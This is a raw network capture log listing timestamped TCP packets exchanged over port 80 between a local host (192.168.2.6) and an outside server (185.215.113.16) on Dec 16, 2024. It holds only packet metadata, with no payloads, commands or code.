Dec 16, 2024 15:02:11.897794962 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.897808075 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.897856951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.898698092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.898797035 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.035960913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.036055088 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.036081076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.036133051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.036465883 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.036508083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.036540031 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.036602020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.037307978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.037436962 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.037458897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.037533998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.038316965 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.038393974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.038398027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.038444042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.039283991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.039436102 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.039621115 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.039701939 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.040261984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.040370941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.040414095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.041174889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.041223049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.041302919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.041520119 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.042188883 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.042241096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.042320013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.042469978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.043291092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.043346882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.043420076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.043512106 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.044214010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.044270039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.044338942 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.044452906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.045229912 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.045394897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.045552015 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.045603991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.046330929 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.046397924 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.046554089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.046648026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.047377110 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.047426939 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.047441006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.047472954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.048360109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.048413992 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.048448086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.048537970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.049424887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.049496889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.049518108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.049559116 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.050369978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.050487041 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.050488949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.050542116 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.051400900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.051480055 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.051510096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.051603079 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.052486897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.052546978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.052586079 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.052632093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.053579092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.053687096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.054054022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.054099083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.054877996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.054930925 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.054950953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.055052042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.055798054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.055876017 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.055927992 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.056854010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.056919098 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.057049990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.057235956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.057928085 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.057996988 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.058007002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.058087111 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.058691978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.058753014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.058763981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.058813095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.059637070 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.059700966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.059735060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.059906960 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.060802937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.060856104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.060879946 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.060924053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.061686039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.061747074 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.061788082 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.061903000 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.062659979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.062705994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.062792063 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.062840939 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.063693047 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.063752890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.063776970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.063807011 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.064749956 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.064800024 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.064858913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.064925909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.065823078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.065947056 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.066025019 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.066082954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.066754103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.066802979 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.066838026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.066900969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.067843914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.067888975 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.067991972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.068047047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.069045067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.069109917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.069138050 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.069191933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.069884062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.069947004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.069972038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.070065022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.070897102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.070933104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.070961952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.071033955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.071072102 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.071913958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.071963072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.071995020 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.072065115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.072902918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.072964907 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.072978973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.073061943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.073949099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.073992014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.074084997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.074337959 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.074975014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.075033903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.075097084 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.075144053 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.076001883 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.076103926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.076111078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.076198101 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.077013969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.077035904 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.077064991 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.077089071 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.078082085 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.078154087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.078161001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.078203917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.079329967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.079400063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.079442978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.079502106 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.080127954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.080183983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.080275059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.080319881 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.081104994 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.081240892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.081268072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.081356049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.082154036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.082329035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.082391977 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.083172083 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.083287954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.083307981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.083369017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.084175110 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.084252119 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.084296942 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.085218906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.085268021 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.085293055 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.085365057 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.089000940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.089071989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.089077950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.089112997 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.089553118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.089644909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.089679003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.089852095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.090569973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.090637922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.090703011 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.090786934 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.091576099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.091778040 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.235069036 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.235131025 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.235153913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.235187054 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.235645056 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.235733032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.235811949 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.236040115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.236609936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.236658096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.236710072 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.236788034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.237629890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.237716913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.238229990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.238387108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.238646984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.238698959 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.238734007 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.238768101 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.239739895 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.239801884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.239835978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.239887953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.240704060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.240813971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.241621971 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.241667032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.241777897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.241791010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.241849899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.242784023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.242841959 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.242867947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.242932081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.243855953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.243884087 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.243921995 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.243947983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.244781017 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.244858027 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.244867086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.244910955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.245822906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.245939970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.245975018 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.246040106 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.246834040 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.246889114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.246912003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.247118950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.247868061 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.247919083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.248008013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.248066902 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.249000072 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.249078989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.249102116 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.249176979 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.250011921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.250091076 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.250164032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.250241041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.250930071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.251000881 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.251091003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.251171112 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.251936913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.251996994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.252034903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.252135992 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.252998114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.253041983 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.253062010 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.253106117 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.254153013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.254218102 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.254287958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.254328012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.255048990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.255142927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.255165100 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.255211115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.256097078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.256141901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.256283045 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.256362915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.257086992 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.257134914 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.257200003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.257322073 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.258116007 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.258197069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.258265018 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.258346081 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.259170055 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.259241104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.259274960 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.259334087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.260174990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.260236979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.260263920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.260318041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.261215925 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.261298895 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.261311054 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.261362076 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.262208939 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.262270927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.262382984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.262445927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.263489008 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.263588905 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.263598919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.263639927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.264337063 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.264384031 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.264456034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.264560938 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.265347004 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.265412092 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.265588999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.265687943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.266316891 CET	80	49867	185.215.113.16	192.168.2.6
